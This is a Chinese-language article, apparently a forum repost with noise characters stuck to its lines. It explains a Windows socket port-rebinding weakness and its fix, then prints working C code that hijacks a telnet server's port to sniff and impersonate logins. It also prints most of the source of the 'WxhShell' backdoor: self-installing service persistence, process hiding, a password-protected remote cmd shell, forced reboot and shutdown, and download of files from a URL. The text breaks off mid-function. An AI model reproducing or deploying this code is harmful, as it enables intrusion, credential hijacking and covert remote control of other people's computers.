在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@wC5 g 4E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cEd+MCN 2hQ>: saddr.sin_family = AF_INET;
Bv.`R0e& 1YJC{bO saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A7`1-# L%c0 Z@[~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*"r~-&IL lF?tQB/a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zC:wNz@zK CZt \JW+" 这意味着什么?意味着可以进行如下的攻击:
ld7v3:M +@K09ge 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
IMl!,(6; ?EK?b
s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:C8$Xi_i} H'UR8% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
rf%7b8[v W|,V50K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Pv+5K*"7Cg zb
Z4|_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
A
&9(mB T'aec]u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{?}*1,I FsGlJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
"h7tnMS *cg(
?yg #include
kY&h~Q #include
v^7LctcVm #include
b2b75}_A #include
&h,5:u DWORD WINAPI ClientThread(LPVOID lpParam);
NCf"tK'5n int main()
e%>b+Sv {
*I?Eb-!t WORD wVersionRequested;
@&hnL9D8lL DWORD ret;
ec|/ / WSADATA wsaData;
vkRi5!bR BOOL val;
j9/-"dTL SOCKADDR_IN saddr;
7gS1~Q4\V2 SOCKADDR_IN scaddr;
U`x bPQ int err;
M}hrO-C SOCKET s;
=)OC|?9C\ SOCKET sc;
JkA|Qdj~Mr int caddsize;
S?0)1O HANDLE mt;
}p9F#gr DWORD tid;
D=)f
)-u' wVersionRequested = MAKEWORD( 2, 2 );
d'9:$!oz err = WSAStartup( wVersionRequested, &wsaData );
r
CRgzC if ( err != 0 ) {
2n`Lg4=
printf("error!WSAStartup failed!\n");
m!OMrZ%)} return -1;
|k{-l!HI }
oT|m1aGE saddr.sin_family = AF_INET;
'7im n!He& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pD@zmCU &VWlt2-R0h saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
b]]N{: I saddr.sin_port = htons(23);
ELh3^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&}`K^5K|O: {
\`xkp[C printf("error!socket failed!\n");
! ]Mc4!E return -1;
Ca $c; }
xnq><4 val = TRUE;
}1%r%TikY //SO_REUSEADDR选项就是可以实现端口重绑定的
cQFR]i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|&hU=J
o {
Z]-WFU_
N printf("error!setsockopt failed!\n");
p#_[ return -1;
8t.dPy< }
=V^@%YIn //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a]VGUW- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
GF--riyfB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
KC&`x| :J(sXKr[C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nJVp.*S {
zd`=Ih2Wx ret=GetLastError();
.T3=Eq&"W printf("error!bind failed!\n");
jFj~]]j return -1;
[{PqV):p }
H(\V+@~>AD listen(s,2);
b4~H3| while(1)
'H=weH {
!.+"4TF caddsize = sizeof(scaddr);
cztS]dcf>~ //接受连接请求
\X@IkL$r sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-fux2?8M if(sc!=INVALID_SOCKET)
cjg=nTsBA {
ULvVD6RQ47 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
yzc pG6, if(mt==NULL)
MCAXt1sL&E {
[~?M/QI9 printf("Thread Creat Failed!\n");
,35Ag#va break;
om7`w
] }
j<$R4A1 }
d8.ajeN]o CloseHandle(mt);
p}8ratmN }
WLy7'3@ closesocket(s);
X RRJ)}P WSACleanup();
Fd"WlBYy0 return 0;
J3\)Jy }
0=,'{Vz}A DWORD WINAPI ClientThread(LPVOID lpParam)
<NL+9l R {
mCrU//G SOCKET ss = (SOCKET)lpParam;
QX/]gX SOCKET sc;
vz,LF=s2 unsigned char buf[4096];
/'NUZ9 SOCKADDR_IN saddr;
'5cZzC
2 long num;
5@.zz"o.` DWORD val;
2?H@$-x> DWORD ret;
j@V$Mbv //如果是隐藏端口应用的话,可以在此处加一些判断
Hc
/wta //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k7b(QADqUU saddr.sin_family = AF_INET;
_6J<YQK saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
DoTs9w|5 saddr.sin_port = htons(23);
&X7ttB"#h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,@,LD u {
^s.oZj
q printf("error!socket failed!\n");
SZI7M"gf/+ return -1;
eAU"fu6d }
"j
+v,js val = 100;
hF9B?@n?B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7~lB}$L {
Rgs3A)[`d/ ret = GetLastError();
s/\XH&KR3V return -1;
ZG!x$yi$ }
)e#fj+>x) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7:ckq(89 {
h
F Dze ret = GetLastError();
*;Ak5.du return -1;
`2sdZ/fO }
jf2y0W>6s if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}[
7Nb90v {
nO-d"S* printf("error!socket connect failed!\n");
G)jG!`I closesocket(sc);
xqU^I5Z closesocket(ss);
QZqpF9Eu return -1;
KhLg*EL }
S|s3}]g9 while(1)
(=6P]~, {
xAFek;GY? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I4A; //如果是嗅探内容的话,可以再此处进行内容分析和记录
1w(<0Be //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UU*0dSWr num = recv(ss,buf,4096,0);
X9p+a, if(num>0)
"[FCQ send(sc,buf,num,0);
4+BrTGp else if(num==0)
zUvB0\{q break;
Rv0-vH.n num = recv(sc,buf,4096,0);
Rc;1Sm9\ if(num>0)
B/kcb(5v send(ss,buf,num,0);
Xcs8zT else if(num==0)
")fOup@ ^a break;
pb,{$A }
x(exx
)w closesocket(ss);
TG""eC!E closesocket(sc);
{ mK pD return 0 ;
=M Q2sb }
OJh+[bf" {"qW~S90YO >b[4 ==========================================================
KFCQYdI`d tyBg7dP 下边附上一个代码,,WXhSHELL
%Z-Tb OX z:@d@\$? ==========================================================
VQZT.^ +_vm\]4 #include "stdafx.h"
~:'gvR;x Gl3 `e&7 #include <stdio.h>
r;@:S~ #include <string.h>
^hGZVGSv #include <windows.h>
N^@%qUvT] #include <winsock2.h>
gK] T} #include <winsvc.h>
4AG&z,[ #include <urlmon.h>
X"]mR7k URj%
J/jD #pragma comment (lib, "Ws2_32.lib")
_&8KB1~ #pragma comment (lib, "urlmon.lib")
z^SN#v$ K~9 jin #define MAX_USER 100 // 最大客户端连接数
r(`8A:#d #define BUF_SOCK 200 // sock buffer
3l41r[\ #define KEY_BUFF 255 // 输入 buffer
*o2_EqXL* 8k*k #define REBOOT 0 // 重启
Tk2&{S " #define SHUTDOWN 1 // 关机
NR@SDW LT
y@6* #define DEF_PORT 5000 // 监听端口
_3g %F }T^v7 LY #define REG_LEN 16 // 注册表键长度
)gm \e?^ #define SVC_LEN 80 // NT服务名长度
+q>C}9s3 x Ps&CyI // 从dll定义API
LqH?3): typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K;(|v3g6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
aO;Q%]VL' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
YP@?j typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]'z^Kt5S *?
orK o // wxhshell配置信息
Mz#S5 s struct WSCFG {
FCw
VVF0y int ws_port; // 监听端口
FnU{C= P char ws_passstr[REG_LEN]; // 口令
19.!$; int ws_autoins; // 安装标记, 1=yes 0=no
[pyXX>:M char ws_regname[REG_LEN]; // 注册表键名
,_7tRkn char ws_svcname[REG_LEN]; // 服务名
#)c;i<Q3S char ws_svcdisp[SVC_LEN]; // 服务显示名
rea}Uq+po char ws_svcdesc[SVC_LEN]; // 服务描述信息
%PNm7s4x2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F$pd]F!# int ws_downexe; // 下载执行标记, 1=yes 0=no
iH -x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\6PIw-) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
E`LIENm & ;x1Rx };
!D]6Cq c^/?VmCQ} // default Wxhshell configuration
rD)v%vvr&` struct WSCFG wscfg={DEF_PORT,
5v03<m0`y "xuhuanlingzhe",
B7^n30+L 1,
za 4B+&JJ "Wxhshell",
4Fht(B| "Wxhshell",
/[|md0, "WxhShell Service",
t7`Pw33#kY "Wrsky Windows CmdShell Service",
2ZFKjj "Please Input Your Password: ",
p[+me o 1,
"I1M$^8n "
http://www.wrsky.com/wxhshell.exe",
6je%LHhL "Wxhshell.exe"
1$!K2=%OXj };
aLo>Yi =kkA // 消息定义模块
~5?n&pF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,Onm!LI= char *msg_ws_prompt="\n\r? for help\n\r#>";
gKH"f%lK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I&@@v\$* char *msg_ws_ext="\n\rExit.";
aNEy1-/(\ char *msg_ws_end="\n\rQuit.";
F nRxc char *msg_ws_boot="\n\rReboot...";
,,-3p#Pbw char *msg_ws_poff="\n\rShutdown...";
@(5RAYRV char *msg_ws_down="\n\rSave to ";
'F<e )D? 2\W<EWJ@ char *msg_ws_err="\n\rErr!";
cB'4{R@e char *msg_ws_ok="\n\rOK!";
by3kfY]4s qMj
e,Y char ExeFile[MAX_PATH];
I z@x^s int nUser = 0;
fmyS#
6" HANDLE handles[MAX_USER];
B{u.Yc: int OsIsNt;
v~=ol8J
B @WE$%dr SERVICE_STATUS serviceStatus;
mT$tAwzTC{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
nUu|}11 ( 7oSuLo= // 函数声明
gVWLY;c 3} int Install(void);
,6)y4=8 L int Uninstall(void);
.Cd$=v6 int DownloadFile(char *sURL, SOCKET wsh);
+\m!#CSA int Boot(int flag);
T8oASg! void HideProc(void);
L{Zy7O]"d int GetOsVer(void);
{.)D)8`<d int Wxhshell(SOCKET wsl);
lO@Ba;x void TalkWithClient(void *cs);
sbIhg/:ok int CmdShell(SOCKET sock);
4<HJD&@V int StartFromService(void);
o8"xoXK5xf int StartWxhshell(LPSTR lpCmdLine);
3xY]Lqwv F`3As 9b: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7 {<lH%Tn VOID WINAPI NTServiceHandler( DWORD fdwControl );
$SgD|
9 ] lTfi0}g_ // 数据结构和表定义
Hn.UJ4V SERVICE_TABLE_ENTRY DispatchTable[] =
Qgi:q {
tx-bzLo\ {wscfg.ws_svcname, NTServiceMain},
Grv|Wuli {NULL, NULL}
[V~bo/n };
0^^i=iE-u J ASn\z // 自我安装
Czn7,KE8X int Install(void)
4[wP$ {
Pl>t\`1:|A char svExeFile[MAX_PATH];
-OxHQ HKEY key;
GC2<K strcpy(svExeFile,ExeFile);
5#PhaVc <hdCO<
0( // 如果是win9x系统,修改注册表设为自启动
<NO~TBHF if(!OsIsNt) {
/0(KKZ) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*qBZi;1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[OSUARm
v RegCloseKey(key);
4YC`dpO' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9OBPFF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Tc:`TE=2 RegCloseKey(key);
:W"ITY( return 0;
DFMWgBL }
AH+J:8k }
TPuzL(ws }
@UX`9]-P else {
U@WT;:.T oZCO$a // 如果是NT以上系统,安装为系统服务
Qd&j~cG@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Uan;}X7@ if (schSCManager!=0)
1A`u0Y$g {
%k_JLddlW SC_HANDLE schService = CreateService
[sBD|P;M (
HO>uS>+ schSCManager,
"rtmDNpL wscfg.ws_svcname,
Z)<>d. wscfg.ws_svcdisp,
42M3c&@P SERVICE_ALL_ACCESS,
X%sc:V
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Jx]`!dP3 SERVICE_AUTO_START,
i \~4W$4I SERVICE_ERROR_NORMAL,
:n=+$Dq svExeFile,
-9mh|&z` NULL,
4{TUoI6ii NULL,
<Ip}uy[Y NULL,
W$W7U|Z9y+ NULL,
)u$A!+fo NULL
=B\?( );
xAI<<[- if (schService!=0)
][Kj^7/ {
UU_k"D~ CloseServiceHandle(schService);
L_(|5#IDw CloseServiceHandle(schSCManager);
]du pU"VV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^>>Naid strcat(svExeFile,wscfg.ws_svcname);
<H.Ml>q:r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\6o
~ i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U;_;_ RegCloseKey(key);
I$YF55uB return 0;
+XsY*$O }
Wl1%BN0> }
W!{uEH{%l CloseServiceHandle(schSCManager);
rl4-nA }
}Vt5].TA }
wi!Ml4Sb W6Hiqu+ return 1;
Kh27[@s }
F](kU#3"S yY!jkRq%w // 自我卸载
Cu}Rq!9i int Uninstall(void)
E@?jsN7 {
RAe:$Iv$!v HKEY key;
X{)M}WO+r ^uYxeQY[ if(!OsIsNt) {
[Ga9^e$Zv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jv W/M.q4 RegDeleteValue(key,wscfg.ws_regname);
;yH/GN#O RegCloseKey(key);
vsc&$r3!5{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UlyX$f%2 RegDeleteValue(key,wscfg.ws_regname);
7.]ZD`"Bb RegCloseKey(key);
JTVCaL3Z return 0;
*F=wMWa }
J6jrtLh }
#bnFR }
pCv=rK@ else {
zp d4uto5 #[IQmU23 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?!Y2fK=h0 if (schSCManager!=0)
# *\PU {
VaH#~! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,rQznE1e if (schService!=0)
\s[Uq {
qW),)i if(DeleteService(schService)!=0) {
g!4"3Dtdg CloseServiceHandle(schService);
lepgmQ|oY CloseServiceHandle(schSCManager);
u"tv6Qp return 0;
|Zz3X }
r%F{1. CloseServiceHandle(schService);
Rom|Bqo; }
b bX2D/ CloseServiceHandle(schSCManager);
6MF%$K3 }
Ot5
$~o }
SI U"cO4 3.
fIp5g return 1;
SxNs }
cvi+AZ= ,Epg&)wC] // 从指定url下载文件
"@DCQ int DownloadFile(char *sURL, SOCKET wsh)
XswEAz0= {
`
Y"Rh[C HRESULT hr;
FX 0^I 0 char seps[]= "/";
uG~%/7Qt{ char *token;
W%@6D|^ char *file;
d'J))-*#UO char myURL[MAX_PATH];
*[k7KG2_U char myFILE[MAX_PATH];
5,k&^CK} %#Fd0L strcpy(myURL,sURL);
:^%My]>T token=strtok(myURL,seps);
Jx(%t<2 while(token!=NULL)
UeX3cD {
D\bW' k]! file=token;
x4Y+?2 token=strtok(NULL,seps);
?&j[Rj0pH }
{eMu"< 9co1+y=i{ GetCurrentDirectory(MAX_PATH,myFILE);
T[*=7jnJQ strcat(myFILE, "\\");
s+$l.aIO! strcat(myFILE, file);
fOF02WP^ send(wsh,myFILE,strlen(myFILE),0);
#92:h6 send(wsh,"...",3,0);
(Rve<n6{A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
W:ih#YW_F if(hr==S_OK)
"n=`{~F return 0;
ZOi8)Y~ else
H_3S#. return 1;
{;=I69X ]4@_KKP }
Ot`jjZ& j|A *rzL8 // 系统电源模块
5M;fh)fT int Boot(int flag)
A\CtM` {
i-vhX4:bd HANDLE hToken;
x@;XyQq TOKEN_PRIVILEGES tkp;
z;xp1t@ p3M)gH=N if(OsIsNt) {
v[q2OWcL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?54=TA|5`F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!;x tkp.PrivilegeCount = 1;
wm}6$ n?Za tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/QZnN?k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]8NNxaE3 ( if(flag==REBOOT) {
rp6Y&3p. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
bc}U &X< return 0;
vQ#$.*Cvn }
tx;MH5s/V else {
(`5No:?v< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
j7K9T return 0;
UeIu
-[R }
7hZCh,O }
m\(4y Gj else {
cKEf- &~ if(flag==REBOOT) {
9<I@}w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>eQ;\j return 0;
W$O^IC }
H$>D_WeJ else {
^>gRK*, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^3B{|cqf return 0;
&?IOrHSv! }
BG_m}3j }
.Qg!_C 6Xb\a^q return 1;
>*(4evU }
Ir|Q2$W2^c dd>|1'-] // win9x进程隐藏模块
L MC-1 void HideProc(void)
{";5n7<<) {
%Qgo0 'C)^hj. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C(Ujx=G+3 if ( hKernel != NULL )
3Q*K+(`{ {
#F@53N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5\8Ig f> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y$uXBTR`y/ FreeLibrary(hKernel);
qUA&XUJ }
q{@j$fMt0 E#JDbV1AC return;
"5C)gxI^ }
U~-Z`_@^- <&\HXAOd // 获取操作系统版本
hV#+joT8i int GetOsVer(void)
m663%b(5> {
{LYA?w^GT OSVERSIONINFO winfo;
h.>6>5$n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hPF9y@lh GetVersionEx(&winfo);
!yU!ta Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6pDb5@QjTy return 1;
c) Zid1 else
2c@4<kyfP return 0;
oRFHq>-.g }
]S9~2;2^, 9:"%j // 客户端句柄模块
zm4Okg)w@ int Wxhshell(SOCKET wsl)
W=41jw {
cJj4qXF SOCKET wsh;
pE@Q
(9`b{ struct sockaddr_in client;
b7Jk{x #u DWORD myID;
Q!(16 ]u
4 while(nUser<MAX_USER)
fw kX-ON {
x~C%Hp*# int nSize=sizeof(client);
.vYU4g] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
hz{=@jX if(wsh==INVALID_SOCKET) return 1;
PCDsj_e wZ/Zc}
. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E7@0,9AU if(handles[nUser]==0)
{ \9vW; ' closesocket(wsh);
+LeZjA[ else
XcB!9AIO nUser++;
#8iRWm0*6 }
T(zERWo WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
mu`h6?v hi4#8W return 0;
oe`t ? (U }
k44sV.G4L unu%\f>^4 // 关闭 socket
m [7@l void CloseIt(SOCKET wsh)
>5-z"f {
TOmq2*,/ closesocket(wsh);
|2w,Np- nUser--;
HLm6BtE ExitThread(0);
uLXMEx<^ }
#AHX{< s<,[xkMB // 客户端请求句柄
tmEF7e`(o void TalkWithClient(void *cs)
W(U:D?e {
ZP75zeH l%XuYYQ SOCKET wsh=(SOCKET)cs;
{`~uBz+dJq char pwd[SVC_LEN];
x9S~ns+r char cmd[KEY_BUFF];
nv>|,&; char chr[1];
&`"Q*N2{ int i,j;
6iAHus- %%`Q5I while (nUser < MAX_USER) {
b#\i]2b: AmYqrmJ if(wscfg.ws_passstr) {
RMJq9a
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u.W}{-+kp //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qQ\&] //ZeroMemory(pwd,KEY_BUFF);
1=Npq=d i=0;
K??(>0Qr}r while(i<SVC_LEN) {
^yLiyR e\ YI[y/~! // 设置超时
|VC|@ Q fd_set FdRead;
9?M>Y?4 struct timeval TimeOut;
2e~ud9, FD_ZERO(&FdRead);
-jN:~. FD_SET(wsh,&FdRead);
Z*r;"WHB TimeOut.tv_sec=8;
EPO*{bN7O TimeOut.tv_usec=0;
$'m&RzZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_g{*;?mS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
lJZ-*"9V >v1E;-ZA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F"2rX&W pwd
=chr[0]; dt -EY
if(chr[0]==0xd || chr[0]==0xa) { v(Vm:oK,
pwd=0; *hugQh]a
break; 2oL~N*^C
} &
QO9 /!
i++; sT&O %(
} 42 6l:>D(
fMg3
// 如果是非法用户,关闭 socket f9`F~6$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y~ubH{O#
} F|Y}X|x8Q
ChVur{jR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :i{$p00
G
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zpPzXQv]/
}Z^r<-N
while(1) { Ndb_|
-wA^ao
ZeroMemory(cmd,KEY_BUFF); !%v=9muay
%+>t @F,GM
// 自动支持客户端 telnet标准 52RFB!Z[
j=0; _6Ex}`fyJ
while(j<KEY_BUFF) { kTCWyc
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :#yjg1aej
cmd[j]=chr[0]; \W^+aNbv=8
if(chr[0]==0xa || chr[0]==0xd) { ^F}HWpF_
cmd[j]=0; ~c;D@.e\
break; N.j?:
} T*m;G(
j++; ^N{Lau
} _b ~XBn
ZD)pdNX
// 下载文件 n_8wYiBs(
if(strstr(cmd,"http://")) { Stq
[[S5P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )JYt zc
if(DownloadFile(cmd,wsh)) d&!ZCq#_e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%Yw Dr=0t
else YLEk
M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #fF~6wopV
} jjs1Vj1@<
else { "CS{fyJ
Iy2KOv@a5
switch(cmd[0]) { 9PpPAF
N[(ovr
// 帮助 {95z\UE}
case '?': { gEejLyOag
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9`3%o9V9Y
break; 3,7SGt
r
} 6"
s}<
// 安装 6b-j
case 'i': { Ym)8L.
if(Install()) ujo3"j[b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (l|:$%[0
else FIB 9W@oao
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZHQnvZ
break; 9c/&+j
} 71nI`.Z
// 卸载 {5ujKQOcR
case 'r': { 5<?O S &B
if(Uninstall()) %:^|Q;xe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~M3j&
else kF09t5Lr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "y %S.ipWG
break; /uTU*Oe
} kJ;fA|(I
// 显示 wxhshell 所在路径 }'?N+MN
case 'p': { $;9zD11
char svExeFile[MAX_PATH]; ^,Paih
2
strcpy(svExeFile,"\n\r"); H;QE',a9+i
strcat(svExeFile,ExeFile); Ol }^'7H
send(wsh,svExeFile,strlen(svExeFile),0); b*-g@S
break; 6[-N})
} p4\r`
// 重启 Qx9lcO_
case 'b': { \]uo^@$bm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W!$aK )]4u
if(Boot(REBOOT)) 07zbx6:t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*Fbs! ;,
else { ebbC`eFD
closesocket(wsh); B( ]=I@L=W
ExitThread(0); =:T pH>f*
} (GLd"Zq
break; gFJ.
p
} *c\:ogd
// 关机 {Z>OAR#
case 'd': { %UquF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v&[Ff|>
if(Boot(SHUTDOWN)) 3SRz14/W_R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &zl=}xeA
else { dtK[H+
closesocket(wsh); 67/&AiS?
ExitThread(0); eOZ0L1JM!
} _z:7Dj#
break; ;\N{z6
}
f'hrS}e
// 获取shell 7$ vs X
case 's': { S>W_p~@
CmdShell(wsh); CzP?J36W^
closesocket(wsh); nLn3kMl4
ExitThread(0); y{>d&M|
break; #nQZ/[|
} wS*An4%G
// 退出 6,nws5dh
case 'x': { 3$fzqFo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9oOr-9t3
CloseIt(wsh); `|Aj3a3sND
break; [TUy><Z
} +!dWQ=W
// 离开 ~x:\xQti
case 'q': { muMb pF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *v+xKy#M
closesocket(wsh); "MH_hzbBF
WSACleanup(); H_*;7/&
exit(1); vrr&Ve
break; 1P(5+9"s
} $a'n{EP
} (9!$p|d*
} cg16|
,(h:0L2v7d
// 提示信息 IYeX\)Gv&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V`F]L^m=L
} 4/6?wX
} TqzL] 'NS+
-4
~(*
return; zcF`Z{&+
} (o+(YV^
G/l 28yt
// shell模块句柄 (XF"ckma
int CmdShell(SOCKET sock) Nqf6CPXE
{ )U6-&-07
STARTUPINFO si; "eqN d"~
ZeroMemory(&si,sizeof(si)); !bf8
r
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t0^chlJP$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FU;b8{Y
PROCESS_INFORMATION ProcessInfo; --t"X<.z
char cmdline[]="cmd"; I_QWdxn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pDw^~5P
return 0; X\\c=[#8-
} 2P&KU%D)0s
=f
FTi1]/h
// 自身启动模式 /UwB6s(
int StartFromService(void) S6Er#)k
{ 75>)1H)Xm
typedef struct ],!7S"{97
{ ^p@R!228
DWORD ExitStatus; uyE_7)2d
